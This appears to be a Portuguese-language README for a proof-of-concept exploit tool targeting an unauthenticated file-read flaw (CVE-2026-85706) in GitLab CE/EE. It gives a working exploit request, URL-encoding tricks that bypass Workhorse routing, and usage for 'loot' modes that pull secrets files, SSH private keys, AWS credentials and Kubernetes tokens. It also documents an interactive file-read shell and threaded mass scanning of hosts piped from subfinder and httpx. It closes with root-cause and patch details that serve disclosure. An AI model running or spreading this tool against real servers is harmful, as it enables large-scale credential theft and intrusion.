
CVE-2026-85706 · Leitura de arquivos não autenticada no GitLab CE/EE · PoC de pesquisa com modo oracle, enumeração de fd e coleta em camadas
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Afetado | 18.7 a 19.1.7, 19.2.0 a 19.2.5, 19.3.0 a 19.3.1 |
| Corrigido | 19.1.8 / 19.2.6 / 19.3.2 (lançado em 2026-09-10) |
| Componente | Repository Commits API / Files API (upload de corpo do Workhorse) |
| Relator | s3ntago via GitLab HackerOne |
Três endpoints da API de repositório ficam atrás do requestBodyUploader do Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
O handler do Rails chama File.open(params['file.path']) antes de authenticate!. Quatro condições tornam isso explorável:
1. A autenticação ocorre depois da leitura do arquivo.
require_gitlab_workhorse! apenas verifica o cabeçalho JWT Gitlab-Workhorse-Api-Request. O Workhorse carimba esse cabeçalho em toda requisição que ele faz proxy, incluindo passthroughs simples. O authenticate! real fica dentro de authorize_push_to_branch!, que é executado depois que file_params_from_body_upload já leu o arquivo do disco.
2. file.path vem diretamente da requisição.
file_params_from_body_upload lê params['file.path'] como um caminho absoluto sem nenhuma validação. No fluxo pretendido, o Workhorse grava o upload em um arquivo temporário e injeta esse parâmetro por conta própria. Um atacante simplesmente o envia diretamente como parâmetro de query string apontando para qualquer lugar do sistema de arquivos.
3. A correspondência de rotas do Workhorse nunca decodifica percent-encoding.
O Workhorse compara rotas de upload com EscapedPath(), os bytes brutos da URL conforme recebidos. O Puma decodifica sequências %XX antes de rotear para o Grape. Assim, codificar um caractere em um segmento estático faz o Workhorse pular sua regra de reescrita enquanto o Rails ainda roteia para o handler vulnerável:
POST /api/v4/projects/1/repository/commits/ (barra final)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (sufixo de formato do Grape)
4. O Rack ecoa o conteúdo do arquivo de volta na resposta de erro.
Com Content-Type: application/x-www-form-urlencoded, o conteúdo do arquivo é entregue a Rack::Utils.parse_nested_query. Qualquer % isolado não seguido de dois dígitos hexadecimais gera InvalidParameterError: invalid %-encoding (<content>). Tudo até o primeiro & no arquivo é ecoado no corpo da resposta 400.
Arquivos sem % isolado ainda são lidos antes da autenticação. A resposta 401 do ramo urlencoded e um 500 do ramo multipart confirmam que o arquivo existe e é legível pelo usuário git, tornando-os úteis como oráculo de existência.
Requisição de exploit:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file lê qualquer arquivo único; recorre automaticamente ao oráculo se não houver gatilho de eco--loot executa 36 alvos em 7 camadas, ordenados por probabilidade confirmada de gatilho de eco--oracle executa uma sondagem de ramo duplo (urlencoded + multipart) contra arquivos sem eco e informa se cada um é legível, ausente ou ilegível--proc enumera /proc/self/fd/0-31 para encontrar descritores de arquivo abertos, depois lê alvos padrão de reconhecimento em /proc--shell entra em um shell interativo de leitura de arquivos com os comandos cat, loot, oracle, project e curl--pipe lê alvos da entrada padrão e trata saída do subfinder, texto do httpx, JSON do httpx, JSON do nuclei e linhas brutas de hosts--list recebe um arquivo de alvos, um por linha--threads para varredura em massa concorrente--proxy roteia tudo através do Burp ou mitmproxy--raw grava bytes brutos na saída padrão sem decoração, útil para redirecionar para um arquivo--full executa loot, oracle e proc em uma única passada-opip install requests
python3 gitread.py -h
Requer Python 3.10 ou mais recente. Nenhuma outra dependência.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
A entrada padrão é detectada automaticamente quando não é um TTY, então --pipe é opcional na maioria dos casos.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Veredito | Significado |
|---|---|
leak | Conteúdo do arquivo ecoado no corpo da resposta 400, leitura confirmada |
leak-frag | Eco parcial via erro de tipo de parâmetro |
read-noecho | O arquivo foi lido antes da autenticação, mas não tem % isolado, então nada foi ecoado |
READABLE | O ramo multipart retornou 500, o arquivo existe e é legível pelo usuário git |
missing | O servidor informou que o arquivo local não está presente |
rewrite | O Workhorse reescreveu o corpo, esta forma de bypass está morta |
noroute | Rails 404, a instância está corrigida ou o caminho está errado |
server-error | 500, o arquivo existe mas causou um erro de parsing |
| Camada | Arquivos | Eco |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Vazamento direto de conteúdo |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Apenas oráculo, hex puro |
| 3 | .gitlab_workhorse_secret | Apenas oráculo |
| 4 | Chaves privadas SSH e authorized_keys | Apenas oráculo |
| 5 | gitlab-shell.yml, gitaly.toml, configuração do PostgreSQL | Apenas oráculo |
| 6 | Token de service account do Kubernetes, credenciais da AWS | Apenas oráculo |
| 7 | Hostname, hosts, passwd, os-release, environ | Apenas oráculo |
| Flag | Descrição |
|---|---|
-t, -u, --target | URL base única |
--pipe | Lê alvos da entrada padrão |
--list FILE | Arquivo de alvos |
--file PATH | Caminho absoluto único a ser lido |
--loot | Execução completa de loot com 36 alvos |
--oracle | Sondagem de ramo duplo de arquivos sem eco |
--proc | Enumeração de fd em /proc e reconhecimento |
--shell | Shell interativo após a varredura |
--full | loot + oracle + proc |
--project-id ID | Força um id de projeto em vez de autodetectar |
--force | Varre mesmo se o alvo não tiver fingerprint de GitLab |
--raw | Grava bytes brutos na saída padrão, sem decoração |
--proxy URL | Proxy HTTP/S |
--threads N | Threads de trabalho para o modo pipeline (padrão 8) |
--timeout N | Timeout por requisição em segundos (padrão 15) |
-o FILE | Salva o relatório (.json para array formatado, qualquer outra coisa para JSONL) |
-q, --quiet | Imprime apenas os acertos |
-v, --verbose | Mostra cada tentativa de sondagem |
--no-banner | Suprime o banner |
Códigos de saída: 0 vazamento confirmado, 1 apenas oráculo ou nenhum vazamento no pipeline, 2 nada encontrado.
Corrigido no commit master 0d9ce3e7, retroportado como 1fe30154 / b43c8b26 / 0ff7b6b2.
Três coisas foram alteradas ao mesmo tempo:
authenticate! foi movido para antes de file_params_from_body_upload nos três endpoints, de modo que o arquivo nunca é lido para uma requisição não autenticadafile.path agora só é aceito a partir de um objeto UploadedFile tipado, produzido pelo middleware multipart, que exige um JWT válido assinado pelo Workhorse, e não de um parâmetro de query string brutoInvalidParameterError não interpola mais e.message no corpo da resposta, de modo que o canal de eco é fechado mesmo que alguém encontre uma forma de contornar as duas primeiras correçõesO bug foi introduzido no GitLab 18.7 (dezembro de 2025), quando a variante de upload de corpo da API de commits foi adicionada.
feito com amor por @plur1bu5 -- se você achar útil, uma estrela é apreciada